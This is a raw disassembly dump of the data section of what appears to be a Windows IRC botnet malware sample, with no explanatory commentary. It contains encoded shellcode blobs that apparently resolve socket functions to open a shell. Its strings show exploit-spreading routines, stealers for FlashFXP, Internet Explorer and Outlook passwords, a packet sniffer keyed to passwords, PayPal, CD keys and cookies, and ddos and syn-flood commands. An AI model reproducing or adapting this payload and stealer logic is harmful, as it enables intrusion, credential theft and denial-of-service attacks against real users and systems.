dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h
dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0
; ---------------------------------------------------------------------------
jmp ebp
; ---------------------------------------------------------------------------
align 4
dword_41C89C dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
; DATA XREF: sub_4124A0+8Co
dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h
dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh
dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh
dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
dd 2685353h, 8B000000h, 6AD88BD4h, 0BA535210h, 0C2A69000h
dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h
dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h
dd 0
; ---------------------------------------------------------------------------
jmp ebp
; ---------------------------------------------------------------------------
align 4
dword_41C964 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
; DATA XREF: sub_4124A0+36o
dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h
dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh
dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh
dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h
dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h, 75222222h
dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh, 20EC8300h
dd 0BFEA758Bh, 0
; ---------------------------------------------------------------------------
jmp ebp
; ---------------------------------------------------------------------------
align 4
dword_41CA18 dd 8B20EC83h, 45D89ECh, 81007D89h, 200ECh, 14658900h, 8B64DB33h
; DATA XREF: sub_412720+71o
dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h
dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h
dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h
dd 35EEBD1h, 0DF03245Eh, 8B0B8B66h, 0DF031C5Eh, 38B048Bh
dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h, 6E92BA54h
dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh
dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh, 3 dup(0)
dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h, 0BA1875FFh
dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h
dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h
dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh, 0B9BA1C75h
dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h
dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h, 8BFDE2ABh
dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h, 0FF2694F1h
dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h, 0C5935CBAh
dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh
dd 7315685h, 7D8BD6FFh, 46BABA08h, 0D6FFC10Ch
db 0
byte_41CB95 db 0E3h ; DATA XREF: sub_4125DF+CFr
; sub_4125DF+E4w
align 4
dword_41CB98 dd 4113E68Bh ; DATA XREF: sub_4125DF+60r
; sub_4125DF+75w
align 10h
off_41CBA0 dd offset dword_41CC4C ; DATA XREF: sub_4127D0+77r
dd offset dword_41CC40
dd 0
dd offset dword_41CC2C
dd offset dword_41CC20
align 8
or ah, cl
inc ecx
add ah, bh
retf
; ---------------------------------------------------------------------------
dw 41h
dd 0
dd offset dword_41CBE8
dd offset dword_41CBDC
dd 4 dup(0)
dword_41CBDC dd 808FD6DAh, 2 dup(0) ; DATA XREF: .data:0041CBC8o
; .data:0041DA90o
dword_41CBE8 dd 0DB999E9Ah, 0D5ABC9FCh, 0BEB1F3E6h, 2 dup(0) ; DATA XREF: .data:0041CBC4o
; .data:0041DA8Co
dd 8284D6D3h, 0A9h, 0
dd 0DE999E9Ah, 0DFA09EFCh, 0FDA4EAACh, 0DE91BB92h, 2 dup(0)
dword_41CC20 dd 808ED7D7h, 2 dup(0) ; DATA XREF: .data:0041CBB0o
; .data:0041DA78o
dword_41CC2C dd 0C3999E9Ah, 0DBBA96ECh, 0BAF0FDA9h, 98B395h, 0
; DATA XREF: .data:0041CBACo
; .data:0041DA74o
dword_41CC40 dd 8381DED3h, 2 dup(0) ; DATA XREF: .data:0041CBA4o
; .data:off_41DA6Co
dword_41CC4C dd 0D5999E9Ah, 0CCAB8EF3h, 0B6ACF5A0h, 0CB9EB7D5h, 2 dup(0)
; DATA XREF: .data:off_41CBA0o
; .data:off_41DA68o
dword_41CC64 dd 72h ; DATA XREF: sub_412A3A:loc_412B93o
dword_41CC68 dd 62h ; DATA XREF: sub_412BC9:loc_412D11o
dword_41CC6C dd 63h ; DATA XREF: sub_412D56:loc_412DC8o
dword_41CC70 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh
; DATA XREF: sub_412E04+64o
dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh
dd 2074726Fh, 2343003h, 2037325h, 0
dword_41CCA8 dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h
; DATA XREF: sub_412F07+98o
dd 74726F70h, 34300320h, 3752502h, 2, 0
byte_41CCD0 db 86h ; DATA XREF: sub_41294E+3Co
; sub_41294E+4Co ...
db 85h, 0D8h, 0DDh
dd 0AFh, 2 dup(0)
dd 0D3000000h, 82D5h, 3 dup(0)
db 2 dup(0)
dword_41CCF6 dd 9BA268F6h ; DATA XREF: sub_41294E+2Br
; sub_412FC6+31r ...
dword_41CCFA dd 0 ; DATA XREF: sub_412FC6+57w
; sub_414052+B5r ...
off_41CCFE dd offset sub_410649 ; DATA XREF: sub_41294E+1Cr
; sub_412FC6+18r ...
dw 3
dd 0
dd 838C0000h, 8EFCC0C3h, 0A6h, 2 dup(0)
dd 82D2D600h, 4 dup(0)
dd 0A1BA32Eh, 0
dd 410B52h, 3, 10h dup(0)
dword_41CD80 dd 6E695728h, 293233h ; DATA XREF: sub_41308F+217o
dword_41CD88 dd 696E5528h, 2978h ; DATA XREF: sub_41308F+1F1o
dword_41CD90 dd 63617041h, 252F6568h, 75h ; DATA XREF: sub_41308F+1DFo
aApache db 'Apache',0 ; DATA XREF: sub_41308F+1B9o
align 4
aMicrosoftIisU_ db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_41308F+130o
aMicrosoftIis db 'Microsoft-IIS',0 ; DATA XREF: sub_41308F+FCo
align 4
aServer db 'Server:',0 ; DATA XREF: sub_41308F+7Ao
aOptionsHttp1_0 db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41308F+Bo
db 0Dh,0Ah,0
align 4
unk_41CDE8 db 53h ; S ; DATA XREF: sub_41349C+5E4o
db 63h, 61h, 6Eh
db 6Eh ; n
db 65h, 64h, 20h
db 3
db 30h, 34h, 2
db 25h ; %
db 73h, 3, 2
db 3Ah ; :
db 25h, 73h, 20h
db 69h ; i
db 6Eh, 20h, 3
db 30h ; 0
db 34h, 2, 25h
db 30h ; 0
db 2Eh, 32h, 66h
db 3
db 2, 73h, 65h
db 63h ; c
db 2Eh, 20h, 3
db 30h ; 0
db 34h, 2, 25h
db 75h ; u
db 3, 2, 20h
aOpenIpSFound db 'open IP(s) found',0
align 4
dword_41CE2C dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h
; DATA XREF: sub_41349C+55Eo
dword_41CE40 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h
; DATA XREF: sub_41349C+343o
dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h
dd 2037525h, 63657320h, 28646E6Fh, 2973h
dword_41CE78 dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h
; DATA XREF: sub_41349C+305o
dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h
dd 297328h
unk_41CEA4 db 53h ; S ; DATA XREF: sub_413AB0+1DCo
db 63h, 61h, 6Eh
db 6Eh ; n
db 69h, 6Eh, 67h
db 20h
db 3, 30h, 34h
db 2
db 25h, 73h, 3
db 2
db 3Ah, 25h, 73h
db 20h
db 66h, 6Fh, 72h
db 20h
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
aSecondSTUSU db ' second(s), t:%u s:%u',0
align 4
dword_41CEDC dd 3430032Dh, 3752502h, 41202D02h, 6D657474h, 64657470h
; DATA XREF: sub_413CB3+30Eo
dd 34300320h, 3752502h, 78652002h, 696F6C70h, 69746174h
dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h
dd 2E297328h, 0
dword_41CF20 dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h
; DATA XREF: sub_413CB3+2B0o
dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h
dd 2037325h, 2E2E2Eh
unk_41CF50 db 2Dh ; - ; DATA XREF: sub_413CB3+31o
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
aAttemptingTo_0 db '- Attempting to exploit IP',27h,'s in list.',0
align 10h
aAttemptingToEx db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_413FE7+52o
dword_41CFA4 dd 3003203Ah, 75250234h, 202E0203h, 0 ; DATA XREF: sub_414052+BBo
aExploitStatist db 'Exploit statistics - ',0 ; DATA XREF: sub_414052+29o
align 4
aListingExploit db 'Listing exploit statistics',0 ; DATA XREF: sub_41417D+2Bo
align 4
dword_41CFE8 dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h
; DATA XREF: sub_4141C1+D8o
dd 34300320h, 3732502h, 6F702002h, 3207472h, 25023430h
dd 2E020373h, 0
dword_41D018 dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h
; DATA XREF: sub_4141C1+B4o
dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h
dd 2037325h, 3430033Ah, 3732502h, 202E02h
dword_41D050 dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h
; DATA XREF: sub_4141C1+78o
dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h
dd 203736Dh, 2Eh
dword_41D080 dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h
; DATA XREF: sub_4142BF+D8o
dd 30032074h, 73250234h, 203h
unk_41D0A0 db 53h ; S ; DATA XREF: sub_4143B0+221o
db 63h, 61h, 6Eh
db 6Eh ; n
db 65h, 64h, 20h
db 25h ; %
db 73h, 20h, 69h
db 6Eh ; n
db 20h, 3, 30h
db 34h ; 4
db 2, 25h, 30h
db 2Eh ; .
db 32h, 66h, 3
db 2
db 73h, 65h, 63h
db 2Eh ; .
db 20h, 3, 30h
db 34h ; 4
db 2, 25h, 75h
db 3
db 2, 20h, 6Fh
aPenPortSFound db 'pen port(s) found',0
align 4
dword_41D0DC dd 33A7325h, 25023430h, 20020373h, 6F207369h, 6E6570h
; DATA XREF: sub_4143B0+1BAo
dword_41D0F0 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h
; DATA XREF: sub_4143B0+81o
dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh
dd 3752502h, 69772002h, 3206874h, 25023430h, 20020375h
dd 6B636F73h, 73287465h, 29h
dword_41D138 dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h
; DATA XREF: sub_414600+1BEo
dd 3752502h, 30032D02h, 75250234h, 77200203h, 20687469h
dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h
aYa36za48dehfrv db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_4147E5+6o
; sub_4147E5+C6o
align 4
aSflashfxpSites db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+107o
align 4
aFlashfxpSites_ db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+B6o
aProgramfiles db 'ProgramFiles',0 ; DATA XREF: sub_4148CE+ABo
align 10h
aSites_dat db 'sites.dat',0 ; DATA XREF: sub_4148CE:loc_414945o
align 4
aFlashfxp_exe1 db 'FlashFXP.exe %1',0 ; DATA XREF: sub_4148CE+57o
aSoftwareClasse db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0
; DATA XREF: sub_4148CE+15o
align 4
unk_41D22C db 2Dh ; - ; DATA XREF: sub_414A1E+464o
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
db 2Dh, 20h, 4Ch
db 69h ; i
db 73h, 74h, 65h
db 64h ; d
db 20h, 3, 30h
db 34h ; 4
db 2, 25h, 75h
db 3
db 2, 2Fh, 3
db 30h ; 0
db 34h, 2, 25h
db 75h ; u
db 3, 2, 20h
aFlashfxpPass_0 db 'FlashFXP password(s).',0
align 4
dword_41D268 dd 2343003h, 2037525h ; DATA XREF: sub_414A1E+3C4o
a_FlashfxpFtpSS db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0
aPass127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+352o
db 'Pass=%127s',0Dh,0Ah,0
align 4
aUser127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+338o
db 'User=%127s',0Dh,0Ah,0
align 4
aPort127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+31Eo
db 'Port=%127s',0Dh,0Ah,0
align 4
aIp127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+304o
db 'IP=%127s',0Dh,0Ah,0
align 4
asc_41D2D4 db '[%[^]]]',0Dh,0Ah,0 ; DATA XREF: sub_414A1E+2EAo
align 10h
aPass_0 db 0Dh,0Ah ; DATA XREF: sub_414A1E+1F4o
db 'Pass=',0
aUser_0 db 0Dh,0Ah ; DATA XREF: sub_414A1E+1DCo
db 'User=',0
aPort db 0Dh,0Ah ; DATA XREF: sub_414A1E+1C4o
db 'Port=',0
aIp db 0Dh,0Ah ; DATA XREF: sub_414A1E+1ACo
db 'IP=',0
align 10h
asc_41D300 db 0Dh,0Ah ; DATA XREF: sub_414A1E:loc_414BA6o
db 0Dh,0Ah
db '[',0
align 4
unk_41D308 db 2Dh ; - ; DATA XREF: sub_414A1E+55o
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
aListingFlashfx db '- Listing FlashFXP passwords',0
align 10h
aFlashfxpPasswo db 'FlashFXP password stealer',0 ; DATA XREF: sub_414EB0+2Bo
align 4
unk_41D34C db 2Dh ; - ; DATA XREF: sub_414EF4+B8Ao
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
db 2Dh, 20h, 4Ch
db 69h ; i
db 73h, 74h, 65h
db 64h ; d
db 20h, 3, 30h
db 34h ; 4
db 2, 25h, 75h
db 3
db 2, 20h, 69h
aNternetExplore db 'nternet explorer password(s).',0
align 4
dword_41D388 dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6D6F436Fh
; DATA XREF: sub_414EF4+AD8o
dd 74656C70h, 61502065h, 6F777373h, 20736472h, 6953202Dh
dd 203A6574h, 2343003h, 2037325h, 614E202Eh, 203A656Dh
dd 2343003h, 2037325h, 6150202Eh, 6F777373h, 203A6472h
dd 2343003h, 2037325h, 2Eh
dword_41D3E4 dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6F43206Fh
; DATA XREF: sub_414EF4+A2Bo
dd 656C706Dh, 66206574h, 646C6569h, 202D2073h, 6C656946h
dd 3203A64h, 25023430h, 2E020373h, 74614420h, 3203A61h
dd 25023430h, 2E020373h, 0
dword_41D42C dd 70747468h, 2F3A73h ; DATA XREF: sub_414EF4+9DDo
dword_41D434 dd 70747468h, 2F3Ah ; DATA XREF: sub_414EF4+9C6o
dword_41D43C dd 7274533Ah, 676E69h ; DATA XREF: sub_414EF4+983o
; sub_414EF4+99Ao
aStringindex db 'StringIndex',0 ; DATA XREF: sub_414EF4+968o
aE161255a db 'e161255a',0 ; DATA XREF: sub_414EF4:loc_415842o
align 4
dword_41D45C dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h
; DATA XREF: sub_414EF4+935o
dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h
dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
dd 2E02h
dword_41D49C dd 2Ch ; DATA XREF: sub_414EF4+83Bo
; sub_414EF4+852o ...
aB9819c52 db 'b9819c52',0 ; DATA XREF: sub_414EF4:loc_4155CEo
align 4
dword_41D4AC dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h
; DATA XREF: sub_414EF4+6C6o
dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h
dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h
dd 2037325h, 6150202Eh, 6F777373h, 203A6472h, 2343003h
dd 2037325h, 2Eh
a5e7e8100 db '5e7e8100',0 ; DATA XREF: sub_414EF4:loc_41550Co
align 10h
dword_41D510 dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh
; DATA XREF: sub_414EF4+604o
dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h
dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
dd 2E02h
a220d5cc1 db '220d5cc1',0 ; DATA XREF: sub_414EF4+5C2o
align 4
aWs db '%ws',0 ; DATA XREF: sub_414EF4+41Co
asc_41D560 db '%x',0 ; DATA XREF: sub_414EF4+234o
align 4
unk_41D564 db 2Dh ; - ; DATA XREF: sub_414EF4+1A9o
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
aListingInterne db '- Listing internet explorer passwords',0
align 8
dword_41D598 dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh ; DATA XREF: sub_414EF4+123o
; sub_414EF4+2C7o ...
aInternetExplor db 'Internet explorer password stealer',0 ; DATA XREF: sub_415AF0+36o
align 4
dword_41D5CC dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h
; DATA XREF: sub_415B60+277o
dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah
dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h
dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h
dd 3732502h, 57202E02h, 646C726Fh, 20664F20h, 63726157h
dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h
dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h
dd 2Eh
aSoftwareValveS db 'Software\Valve\Steam',0 ; DATA XREF: sub_415B60+149o
align 4
aSoftwareMicr_0 db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0
; DATA XREF: sub_415B60+10Ao
align 4
aConquer db '[Conquer]',0 ; DATA XREF: sub_415B60:loc_415C2Fo
align 10h
aWorldOfWarcraf db 'World Of Warcraft',0 ; DATA XREF: sub_415B60:loc_415C0Eo
align 4
aUnreal3 db 'Unreal3',0 ; DATA XREF: sub_415B60+8Co
aListingInteres db 'Listing interesting processes',0 ; DATA XREF: sub_415DFD+2Bo
align 4
off_41D6FC dd offset aUser_1 ; DATA XREF: sub_415EB7+32o
; "user "
dd offset aUnknown_1 ; "unknown "
dd offset aPass_2 ; "pass "
dd offset aMailpass ; "MailPass "
dd offset aOper ; "oper "
dd 0
dd offset aIdentify ; "identify "
dd 0
dd offset aAuth_0 ; " :auth "
dd 0
dd offset aPasswd_0 ; "passwd="
dd 0
dd offset aUsername_0 ; "username="
dd 0
dd offset aPassword_0 ; "password="
dd 0
dd offset aLogin_1 ; "login="
dd 0
dd offset aPass_1 ; "pass="
dd 0
dd offset aPw ; "pw="
dd 2 dup(0)
off_41D758 dd offset aLogin_0 ; DATA XREF: sub_415EB7+54o
; "login "
align 10h
dd offset aSxt ; "sxt "
align 8
dd offset aAuth ; "auth "
align 10h
dd offset aPasswort ; "passwort "
align 8
dd offset aCdkey ; "cdkey"
align 10h
dd offset aCdKey_0 ; "cd-key"
align 8
dd offset aCdKey ; "cd key"
align 10h
dd offset aPassword ; "password"
align 8
dd offset aPaypal_com ; "paypal.com"
align 10h
dd offset aPaypal ; "paypal"
align 8
dd offset aIrcOperator ; "irc operator"
dd 0
dd offset aLP ; "l/p"
align 8
dd offset aSsh1_5 ; "SSH-1.5"
align 10h
dd offset aSsh1_99 ; "SSH-1.99"
dd 2 dup(0)
off_41D7CC dd offset aSetCookie ; DATA XREF: sub_415EB7+76o
; "Set-Cookie:"
dd 0
dd offset aSyn ; "syn"
dd 0
dd offset aFlood ; "flood "
dd 0
dd offset aClone ; "clone "
dd 0
dd offset aServU_0 ; "serv-u"
dd 0
dd offset aServU ; "serv u"
dd 0
dd offset aServu ; "servu"
dd 0
dd offset aDdos ; "ddos"
align 10h
off_41D810 dd offset dword_41D86C ; DATA XREF: sub_415EB7+98o
align 8
dd offset dword_41D864
align 10h
dd offset dword_41D85C
align 8
dd offset dword_41D854
align 10h
dd offset dword_41D84C
align 8
dd offset dword_41D844
dd 2 dup(0)
dword_41D844 dd 54495551h, 20h ; DATA XREF: .data:0041D838o
dword_41D84C dd 54524150h, 20h ; DATA XREF: .data:0041D830o
dword_41D854 dd 4E494F4Ah, 20h ; DATA XREF: .data:0041D828o
dword_41D85C dd 49504F54h, 2043h ; DATA XREF: .data:0041D820o
dword_41D864 dd 49544F4Eh, 204543h ; DATA XREF: .data:0041D818o
dword_41D86C dd 56495250h, 2047534Dh, 0 ; DATA XREF: .data:off_41D810o
aDdos db 'ddos',0 ; DATA XREF: .data:0041D804o
align 10h
aServu db 'servu',0 ; DATA XREF: .data:0041D7FCo
align 4
aServU db 'serv u',0 ; DATA XREF: .data:0041D7F4o
align 10h
aServU_0 db 'serv-u',0 ; DATA XREF: .data:0041D7ECo
align 4
aClone db 'clone ',0 ; DATA XREF: .data:0041D7E4o
align 10h
aFlood db 'flood ',0 ; DATA XREF: .data:0041D7DCo
align 4
aSyn db 'syn',0 ; DATA XREF: .data:0041D7D4o
aSetCookie db 'Set-Cookie:',0 ; DATA XREF: .data:off_41D7CCo
aSsh1_99 db 'SSH-1.99',0 ; DATA XREF: .data:0041D7C0o
align 4
aSsh1_5 db 'SSH-1.5',0 ; DATA XREF: .data:0041D7B8o
aLP db 'l/p',0 ; DATA XREF: .data:0041D7B0o
aIrcOperator db 'irc operator',0 ; DATA XREF: .data:0041D7A8o
align 10h
aPaypal db 'paypal',0 ; DATA XREF: .data:0041D7A0o
align 4
aPaypal_com db 'paypal.com',0 ; DATA XREF: .data:0041D798o
align 4
aCdKey db 'cd key',0 ; DATA XREF: .data:0041D788o
align 4
aCdKey_0 db 'cd-key',0 ; DATA XREF: .data:0041D780o
align 4
aCdkey db 'cdkey',0 ; DATA XREF: .data:0041D778o
align 4
aPasswort db 'passwort ',0 ; DATA XREF: .data:0041D770o
align 4
aAuth db 'auth ',0 ; DATA XREF: .data:0041D768o
align 10h
aSxt db 'sxt ',0 ; DATA XREF: .data:0041D760o
align 4
aLogin_0 db 'login ',0 ; DATA XREF: .data:off_41D758o
align 10h
aPw db 'pw=',0 ; DATA XREF: .data:0041D74Co
aPass_1 db 'pass=',0 ; DATA XREF: .data:0041D744o
align 4
aLogin_1 db 'login=',0 ; DATA XREF: .data:0041D73Co
align 4
aPassword_0 db 'password=',0 ; DATA XREF: .data:0041D734o
align 10h
aUsername_0 db 'username=',0 ; DATA XREF: .data:0041D72Co
align 4
aPasswd_0 db 'passwd=',0 ; DATA XREF: .data:0041D724o
aAuth_0 db ' :auth ',0 ; DATA XREF: .data:0041D71Co
aIdentify db 'identify ',0 ; DATA XREF: .data:0041D714o
align 4
aOper db 'oper ',0 ; DATA XREF: .data:0041D70Co
align 10h
aMailpass db 'MailPass ',0 ; DATA XREF: .data:0041D708o
align 4
aPass_2 db 'pass ',0 ; DATA XREF: .data:0041D704o
align 4
aUnknown_1 db 'unknown ',0 ; DATA XREF: .data:0041D700o
align 10h
aUser_1 db 'user ',0 ; DATA XREF: .data:off_41D6FCo
align 4
dword_41D9A8 dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h
; DATA XREF: sub_415F69+5CEo
dd 3206D6Fh, 25023430h, 3A020373h, 2343003h, 2037525h
dd 73253E2Dh, 2075253Ah, 0
unk_41D9DC db 2Dh ; - ; DATA XREF: sub_415F69+1A6o
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
db 2Dh, 20h, 4Ch
db 65h ; e
db 76h, 65h, 6Ch
db 20h
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
aPacketSnifferR db ' packet sniffer running',0
align 10h
dword_41DA10 dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h
; DATA XREF: sub_41665C+8Eo
dd 6E732074h, 65666669h, 72h, 41DA34h, 0DCD88992h, 0CEBA94B3h
dd 0B4ACFFE6h, 2 dup(0)
dword_41DA48 dd 0A1C21D0Eh ; DATA XREF: sub_40A9CF+843r
; sub_4167F1+54r ...
dword_41DA4C dd 0D6AF099Eh ; DATA XREF: sub_4167F1+4Cr
dword_41DA50 dd 0ED38F9D8h ; DATA XREF: sub_4167F1+41r
dword_41DA54 dd 5D58CED8h ; DATA XREF: sub_4167F1+3Br
dd 0
off_41DA5C dd offset dword_41DD44 ; DATA XREF: sub_40E618+1C3r
; sub_40E618+1D5r ...
dd 2 dup(0)
off_41DA68 dd offset dword_41CC4C ; DATA XREF: sub_40A9CF+7B3r
; sub_40CF2F+82r ...
off_41DA6C dd offset dword_41CC40 ; DATA XREF: sub_40CF2F+B8r
dword_41DA70 dd 0 ; DATA XREF: sub_40CF2F+D0r
; sub_40CF2F+DFr
dd offset dword_41CC2C
dd offset dword_41CC20
align 10h
or ah, cl
inc ecx
add ah, bh
retf
; ---------------------------------------------------------------------------
dw 41h
dd 0
dd offset dword_41CBE8
dd offset dword_41CBDC
dd 4 dup(0)
dword_41DAA4 dd 8F88D9DDh, 81F1C5A2h, 2 dup(0) ; DATA XREF: sub_40D043:loc_40D31Fo
; sub_40D871:loc_40DCB8o
dword_41DAB4 dd 73616C23h, 74h, 1Eh dup(0) ; DATA XREF: sub_40332B+1A1o
; sub_4093B6+6Co ...
byte_41DB34 db 0C1h ; DATA XREF: sub_40D043+28Cr
; sub_40D043+297o
db 85h, 0D8h, 0DFh
dd 0F1h, 1Eh dup(0)
byte_41DBB4 db 0 ; DATA XREF: sub_40D043+2B3r
; sub_40D043+2BEo
align 4
dd 1Fh dup(0)
dword_41DC34 dd 3430032Eh, 2036202h, 0 ; DATA XREF: sub_40A9CF:loc_40C4DAo
; sub_40D871+242o
dword_41DC40 dd 0D3D58395h, 90FCC9F1h, 0B2FCACh, 3Eh dup(0) ; DATA XREF: sub_406A23+2Eo
; sub_406AE7+2Eo
dword_41DD44 dd 0DFDFA6C8h, 0DBA0D4F2h, 0BCh, 0 ; DATA XREF: .data:off_41DA5Co
dword_41DD54 dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: .text:00416B0Do
aEipHasLeftTheE db '- eip has left the endless loop for some reason...',0
align 4
aEntry db 'entry',0 ; DATA XREF: .text:00416AE7o
align 4
aLoop db 'loop',0 ; DATA XREF: .text:loc_416AC5o
align 4
aPing08x db 'PING :%08X',0 ; DATA XREF: sub_4167F1+263o
align 10h
a08xX08x3x08x08 db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: sub_4167F1+5Ao
align 10h
dword_41DDD0 dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bh ; DATA XREF: sub_416E4E+15o
dword_41DDE0 dd 4172BCh, 0 ; DATA XREF: .rdata:off_4172B4o
; .rdata:00417394o
a_?av_com_error db '.?AV_com_error@@',0
align 10h
aRa db '¼rA',0 ; DATA XREF: .rdata:off_417308o
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
dword_41DE18 dd 0 ; DATA XREF: sub_401856:loc_40186Er
; sub_401856+21r ...
dword_41DE1C dd 0 ; DATA XREF: sub_401856:loc_401883r
; sub_401856+36r ...
dword_41DE20 dd 0 ; DATA XREF: sub_401856:loc_401898r
; sub_401856+4Br ...
dword_41DE24 dd 0 ; DATA XREF: sub_401856+3r
; sub_401856+Cr ...
dd 0
dword_41DE2C dd 0 ; DATA XREF: sub_4018AF+40r
; sub_4018AF+62r ...
byte_41DE30 db 0 ; DATA XREF: sub_401981+1BAo
; sub_402A32+57r ...
align 8
dword_41DE38 dd 0 ; DATA XREF: sub_40332B+1Ar
; sub_404CBB+1Br ...
dword_41DE3C dd 1 ; DATA XREF: sub_40332B+Bo
dword_41DE40 dd 77E7C706h ; DATA XREF: sub_403BD3+28w
; sub_409C36+12r ...
align 8
dword_41DE48 dd 71C245E0h ; DATA XREF: sub_403BD3+53w
